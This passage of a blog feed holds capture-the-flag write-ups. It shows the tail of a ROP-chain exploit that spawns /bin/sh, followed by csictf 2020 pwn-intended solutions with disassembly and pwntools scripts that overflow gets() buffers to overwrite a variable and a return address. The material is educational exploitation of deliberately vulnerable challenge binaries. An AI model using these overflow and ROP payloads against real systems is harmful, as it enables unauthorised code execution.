&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="o">+&lt;/span> &lt;span class="n">p64&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">len&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">WRITE&lt;/span>&lt;span class="p">))&lt;/span> \
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="o">+&lt;/span> &lt;span class="n">POP_RAX&lt;/span> \
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="o">+&lt;/span> &lt;span class="n">p64&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">)&lt;/span> \
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="o">+&lt;/span> &lt;span class="n">SYSCALL&lt;/span> \
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="o">+&lt;/span> &lt;span class="n">POP_RDI&lt;/span> \
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="o">+&lt;/span> &lt;span class="n">p64&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">WRITE_OFFSET&lt;/span>&lt;span class="p">)&lt;/span> \
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="o">+&lt;/span> &lt;span class="n">POP_RSI&lt;/span> \
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="o">+&lt;/span> &lt;span class="n">p64&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">WRITE_OFFSET&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="nb">len&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="sa">b&lt;/span>&lt;span class="s2">&amp;#34;/bin/sh&lt;/span>&lt;span class="se">\x00&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="p">))&lt;/span> \
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="o">+&lt;/span> &lt;span class="n">POP_RDX&lt;/span> \
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="o">+&lt;/span> &lt;span class="n">p64&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">)&lt;/span> \
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="o">+&lt;/span> &lt;span class="n">POP_RAX&lt;/span> \
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="o">+&lt;/span> &lt;span class="n">p64&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">59&lt;/span>&lt;span class="p">)&lt;/span> \
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="o">+&lt;/span> &lt;span class="n">SYSCALL&lt;/span> \
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">p&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">sendline&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">ROP_CHAIN&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">p&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">sendline&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">WRITE&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">p&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">interactive&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Every gadget will pop the pointer after it, so the first two lines of the &lt;code>ROP_CHAIN&lt;/code> will place &lt;code>0x0000000000000000&lt;/code> into &lt;code>rdi&lt;/code>, &lt;code>0x4b0310&lt;/code> (&lt;code>WRITE_OFFSET&lt;/code>) into &lt;code>rdx&lt;/code> and so on. The &lt;code>0&lt;/code> and &lt;code>59&lt;/code> used for &lt;code>rax&lt;/code> are the system call numbers for &lt;code>read&lt;/code> and &lt;code>execve&lt;/code>.&lt;/p>
&lt;p>And bam, we get a shell and the flag.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-sh" data-lang="sh">&lt;span class="line">&lt;span class="cl">$ ls
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">flag.txt
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sad
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">$ cat flag.txt
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">flag&lt;span class="o">{&lt;/span>radically_statically_roppingly_vulnerable&lt;span class="o">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="footnotes" role="doc-endnotes">
&lt;hr>
&lt;ol>
&lt;li id="fn:1">
&lt;p>A gadget is a tiny snip of assembly in executable memory that we can run for a useful purpose. In this case they will be used to place values into registers and execute a syscall.&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:2">
&lt;p>The executable doesn&amp;rsquo;t have PIE enabled, so we know this offset will be constant.&amp;#160;&lt;a href="#fnref:2" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:3">
&lt;p>This is &lt;code>0x4b0310 + 8&lt;/code> because &lt;code>/bin/sh&lt;/code> is 7 characters, plus the null byte at the end.&amp;#160;&lt;a href="#fnref:3" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;/ol>
&lt;/div></description></item><item><title>pwn intended - CSICTF 2020 Writeups</title><link>https://fluix.one/blog/csictf-2020-pwn-intended/</link><pubDate>Tue, 28 Jul 2020 00:00:00 +0000</pubDate><guid>https://fluix.one/blog/csictf-2020-pwn-intended/</guid><description>&lt;p>My &lt;a href="https://ctftime.org/team/127228">team&lt;/a> and I participated in &lt;a href="https://ctf.csivit.com/">csictf&lt;/a> 2020 and enjoyed it quite a bit. This blog post will be a writeup of the &lt;code>pwn-intended-0x1&lt;/code>, &lt;code>pwn-intended-0x2&lt;/code>, and &lt;code>pwn-intended-0x3&lt;/code> problems. Once again this writeup is released really late, but maybe it&amp;rsquo;ll still be useful to some &amp;ndash; or just a good read.&lt;/p>
&lt;h2 id="pwn-intended-0x1">pwn-intended-0x1&lt;/h2>
&lt;p>The writeup for this challenge will be more detailed, in part because I want to understand how the stack is used in assembly. This challenge can be trivially solved by just bashing the keyboard. Hopefully this deeper explanation will provide more insight into the lower level computation. WIth that, let&amp;rsquo;s begin.&lt;/p>
&lt;p>For this challenge we are given an executable which asks for some input on startup. Let&amp;rsquo;s decompile it with &lt;a href="https://github.com/radareorg/r2ghidra-dec">&lt;code>r2ghidra-dec&lt;/code>&lt;/a> &amp;ndash; a &lt;a href="https://ghidra-sre.org/">Ghidra&lt;/a> decompiler integration into &lt;a href="https://www.radare.org/r/">radare&lt;/a>.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-c" data-lang="c">&lt;span class="line">&lt;span class="cl">&lt;span class="n">undefined8&lt;/span> &lt;span class="nf">main&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">void&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">char&lt;/span> &lt;span class="o">*&lt;/span>&lt;span class="n">s&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">uint32_t&lt;/span> &lt;span class="n">var_4h&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">var_4h&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">sym&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">imp&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nf">setbuf&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">_reloc&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">stdout&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">sym&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">imp&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nf">setbuf&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">_reloc&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">stdin&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">sym&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">imp&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nf">setbuf&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">_reloc&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">stderr&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">sym&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">imp&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nf">puts&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s">&amp;#34;Please pour me some coffee:&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">sym&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">imp&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nf">gets&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="o">&amp;amp;&lt;/span>&lt;span class="n">s&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">sym&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">imp&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nf">puts&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s">&amp;#34;&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s">Thanks!&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s">&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">var_4h&lt;/span> &lt;span class="o">!=&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">sym&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">imp&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nf">puts&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s">&amp;#34;Oh no, you spilled some coffee on the floor! Use the flag to clean it.&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">sym&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">imp&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nf">system&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s">&amp;#34;cat flag.txt&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Something to note is that if we were to use &lt;a href="https://ghidra-sre.org/">Ghidra&lt;/a>, it would show something like &lt;code>char s [44];&lt;/code>, but let&amp;rsquo;s find this out using &lt;a href="https://www.radare.org/r/">radare&lt;/a> and see how these two variables are placed one after the other on the stack.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-sh" data-lang="sh">&lt;span class="line">&lt;span class="cl">┌ 158: int main &lt;span class="o">(&lt;/span>int argc, char **argv, char **envp&lt;span class="o">)&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">│ &lt;span class="p">;&lt;/span> var char *s @ rbp-0x30
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">│ &lt;span class="p">;&lt;/span> var uint32_t var_4h @ rbp-0x4
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">│ 0x00401156 &lt;span class="m">55&lt;/span> push rbp
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">│ 0x00401157 4889e5 mov rbp, rsp
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">│ 0x0040115a 4883ec30 sub rsp, 0x30
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">│ 0x0040115e c745fc000000. mov dword &lt;span class="o">[&lt;/span>var_4h&lt;span class="o">]&lt;/span>, &lt;span class="m">0&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">│ &lt;span class="p">;&lt;/span> &amp;lt;redacted&amp;gt;, Sets up stdio buffers and prompts &lt;span class="k">for&lt;/span> input
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">│ 0x004011ad 488d45d0 lea rax, &lt;span class="o">[&lt;/span>s&lt;span class="o">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">│ 0x004011b1 4889c7 mov rdi, rax &lt;span class="p">;&lt;/span> char *s
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">│ 0x004011b4 b800000000 mov eax, &lt;span class="m">0&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">│ 0x004011b9 e8a2feffff call sym.imp.gets &lt;span class="p">;&lt;/span>&lt;span class="o">[&lt;/span>3&lt;span class="o">]&lt;/span> &lt;span class="p">;&lt;/span> char *gets&lt;span class="o">(&lt;/span>char *s&lt;span class="o">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">│ 0x004011be 488d3d5f0e00. lea rdi, str.Thanks &lt;span class="p">;&lt;/span> 0x402024 &lt;span class="p">;&lt;/span> &lt;span class="s2">&amp;#34;\nThanks!\n&amp;#34;&lt;/span> &lt;span class="p">;&lt;/span> const char *s
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">│ 0x004011c5 e866feffff call sym.imp.puts &lt;span class="p">;&lt;/span>&lt;span class="o">[&lt;/span>2&lt;span class="o">]&lt;/span> &lt;span class="p">;&lt;/span> int puts&lt;span class="o">(&lt;/span>const char *s&lt;span class="o">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">│ 0x004011ca 837dfc00 cmp dword &lt;span class="o">[&lt;/span>var_4h&lt;span class="o">]&lt;/span>, &lt;span class="m">0&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">│ ┌─&amp;lt; 0x004011ce 741d je 0x4011ed
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">│ │ &lt;span class="p">;&lt;/span> &amp;lt;redacted&amp;gt;, Flag is printed here
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">│ └─&amp;gt; 0x004011ed b800000000 mov eax, &lt;span class="m">0&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">│ 0x004011f2 c9 leave
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">└ 0x004011f3 c3 ret
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>At the very start we see the two variables, &lt;code>s&lt;/code> and &lt;code>var_4h&lt;/code> defined by &lt;a href="https://www.radare.org/r/">radare&lt;/a> with offsets off &lt;code>rbp&lt;/code> and then assigned to in assembly below:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-sh" data-lang="sh">&lt;span class="line">&lt;span class="cl">&lt;span class="p">;&lt;/span> var char *s @ rbp-0x30
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">;&lt;/span> var uint32_t var_4h @ rbp-0x4
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">0x0040115e c745fc000000. mov dword &lt;span class="o">[&lt;/span>var_4h&lt;span class="o">]&lt;/span>, &lt;span class="m">0&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">0x004011ad 488d45d0 lea rax, &lt;span class="o">[&lt;/span>s&lt;span class="o">]&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>It&amp;rsquo;s clear that the size of them together is &lt;code>0x30&lt;/code>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-sh" data-lang="sh">&lt;span class="line">&lt;span class="cl">0x0040115a 4883ec30 sub rsp, 0x30
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>&lt;code>s&lt;/code> is placed at the start with offset &lt;code>rbp - 0x30&lt;/code> and then &lt;code>var_4h&lt;/code> is placed at &lt;code>rbp - 0x4&lt;/code>. This means that the &lt;code>s&lt;/code> buffer which we control is of size &lt;code>0x30 - 0x4 = 0x2c&lt;/code> or &lt;code>44&lt;/code> in decimal. Thus, we can overflow&lt;sup id="fnref:1">&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref">1&lt;/a>&lt;/sup> this buffer and overwrite &lt;code>var_4h&lt;/code> by sending 44 bytes followed by our new value for &lt;code>var_4h&lt;/code>.&lt;/p>
&lt;p>The flag is printed if &lt;code>var_4h&lt;/code> is no longer 0, so overwriting it with anything but null bytes should do the trick. The comparison can be seen here:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-sh" data-lang="sh">&lt;span class="line">&lt;span class="cl">0x004011ca 837dfc00 cmp dword &lt;span class="o">[&lt;/span>var_4h&lt;span class="o">]&lt;/span>, &lt;span class="m">0&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The flag we get is: &lt;code>csictf{y0u_ov3rfl0w3d_th@t_c0ff33l1ke@_buff3r}&lt;/code>&lt;/p>
&lt;h2 id="pwn-intended-0x2">pwn-intended-0x2&lt;/h2>
&lt;p>This problem is nearly identical to the last with the only difference being the final comparison. It now checks &lt;code>var_4h&lt;/code> for the value &lt;code>0xcafebabe&lt;/code> instead of &lt;code>0&lt;/code>.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-sh" data-lang="sh">&lt;span class="line">&lt;span class="cl">0x004011ca 817dfcbebafe. cmp dword &lt;span class="o">[&lt;/span>var_4h&lt;span class="o">]&lt;/span>, 0xcafebabe
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>To make our final exploit, we can either use 44 bytes followed by &lt;code>\xbe\xba\xfe\xca&lt;/code> (which is &lt;code>0xcafebabe&lt;/code> with the correct endianness). Personally, I like using &lt;a href="https://github.com/Gallopsled/pwntools/">pwntools&lt;/a> to do the conversion which makes the script below. &lt;code>p32&lt;/code> is used to convert the 32-bit address to the bytes described.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-py" data-lang="py">&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">pwn&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="o">*&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">p&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">process&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;./pwn-intended-0x2&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">p&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">remote&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;chall.csivit.com&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">30007&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="c1"># Remove for local testing&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">p&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">sendline&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="sa">b&lt;/span>&lt;span class="s2">&amp;#34;A&amp;#34;&lt;/span> &lt;span class="o">*&lt;/span> &lt;span class="mi">44&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="n">p32&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mh">0xcafebabe&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">p&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">interactive&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>We get the flag: &lt;code>csictf{c4n_y0u_re4lly_telep0rt?}&lt;/code>&lt;/p>
&lt;h2 id="pwn-intended-0x3">pwn-intended-0x3&lt;/h2>
&lt;p>The final problem requires that you call a &lt;code>flag()&lt;/code> function which reads the flag. Looking at the disassembly, we can see another buffer, this time of size &lt;code>0x20&lt;/code> (32 in decimal).&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-sh" data-lang="sh">&lt;span class="line">&lt;span class="cl">┌ 104: int main &lt;span class="o">(&lt;/span>int argc, char **argv, char **envp&lt;span class="o">)&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">│ &lt;span class="p">;&lt;/span> var char *s @ rbp-0x20
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">│ 0x00401166 &lt;span class="m">55&lt;/span> push rbp
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">│ 0x00401167 4889e5 mov rbp, rsp
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">│ 0x0040116a 4883ec20 sub rsp, 0x20
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">│ &lt;span class="p">;&lt;/span> &amp;lt;redacted&amp;gt;, Setup stdio and print some text
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">│ 0x004011b6 488d45e0 lea rax, &lt;span class="o">[&lt;/span>s&lt;span class="o">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">│ 0x004011ba 4889c7 mov rdi, rax &lt;span class="p">;&lt;/span> char *s
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">│ 0x004011bd b800000000 mov eax, &lt;span class="m">0&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">│ 0x004011c2 e899feffff call sym.imp.gets &lt;span class="p">;&lt;/span>&lt;span class="o">[&lt;/span>3&lt;span class="o">]&lt;/span> &lt;span class="p">;&lt;/span> char *gets&lt;span class="o">(&lt;/span>char *s&lt;span class="o">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">│ 0x004011c7 b800000000 mov eax, &lt;span class="m">0&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">│ 0x004011cc c9 leave
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">└ 0x004011cd c3 ret
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">┌ 38: sym.flag &lt;span class="o">()&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">│ 0x004011ce &lt;span class="m">55&lt;/span> push rbp
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">│ &lt;span class="p">;&lt;/span> &amp;lt;redacted&amp;gt;, print the flag
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">└ 0x004011ef e87cfeffff call sym.imp.exit &lt;span class="p">;&lt;/span>&lt;span class="o">[&lt;/span>5&lt;span class="o">]&lt;/span> &lt;span class="p">;&lt;/span> void exit&lt;span class="o">(&lt;/span>int status&lt;span class="o">)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The exploit here is quite clear, we need to overwrite the return pointer of the &lt;code>main()&lt;/code> function to &lt;code>0x004011ce&lt;/code> to run the &lt;code>flag()&lt;/code> function. To do so, we first need to send 32 bytes to fill up the input buffer, then send 8 bytes,&lt;sup id="fnref:2">&lt;a href="#fn:2" class="footnote-ref" role="doc-noteref">2&lt;/a>&lt;/sup> and then the address &lt;code>0x004011ce&lt;/code> as &lt;code>\xce\x11@\x00\x00\x00\x00\x00&lt;/code> (the &lt;code>@&lt;/code> is just &lt;code>\x40&lt;/code>).&lt;/p>
&lt;p>With that, our exploit script, once again using &lt;a href="https://github.com/Gallopsled/pwntools/">pwntools&lt;/a>, can be seen below. We use &lt;code>p64&lt;/code> to convert the 64-bit address to the bytes described above.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-py" data-lang="py">&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">pwn&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="o">*&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">p&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">process&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;./pwn-intended-0x3&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">p&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">remote&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;chall.csivit.com&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">30013&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="c1"># Remove for local testing&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">p&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">sendline&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="sa">b&lt;/span>&lt;span class="s2">&amp;#34;A&amp;#34;&lt;/span> &lt;span class="o">*&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="mi">32&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="mi">8&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="n">p64&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mh">0x4011ce&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">p&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">interactive&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>And we get our flag, &lt;code>csictf{ch4lleng1ng_th3_v3ry_l4ws_0f_phys1cs}&lt;/code>, nice!&lt;/p>
&lt;div class="footnotes" role="doc-endnotes">
&lt;hr>
&lt;ol>
&lt;li id="fn:1">
&lt;p>We can do this because input is taken with &lt;code>gets()&lt;/code> which, as described in the &lt;code>gets&lt;/code> manpage (&lt;code>man 3 gets&lt;/code>) is unsafe because it will continue reading data until reaching a specific character like a newline.&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:2">
&lt;p>One can find this out by debugging with &lt;a href="https://www.radare.org/r/">radare&lt;/a> which will was described in &lt;a href="https://theavid.dev/dmoj-ctf-20-binexp">this&lt;/a> blog post. It is &lt;em>probably&lt;/em> for alignment, but to find out exactly why you&amp;rsquo;ll have to become a &lt;a href="https://www.gnu.org/software/libc/sources.html">glibc librarian&lt;/a>.&amp;#160;&lt;a href="#fnref:2" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
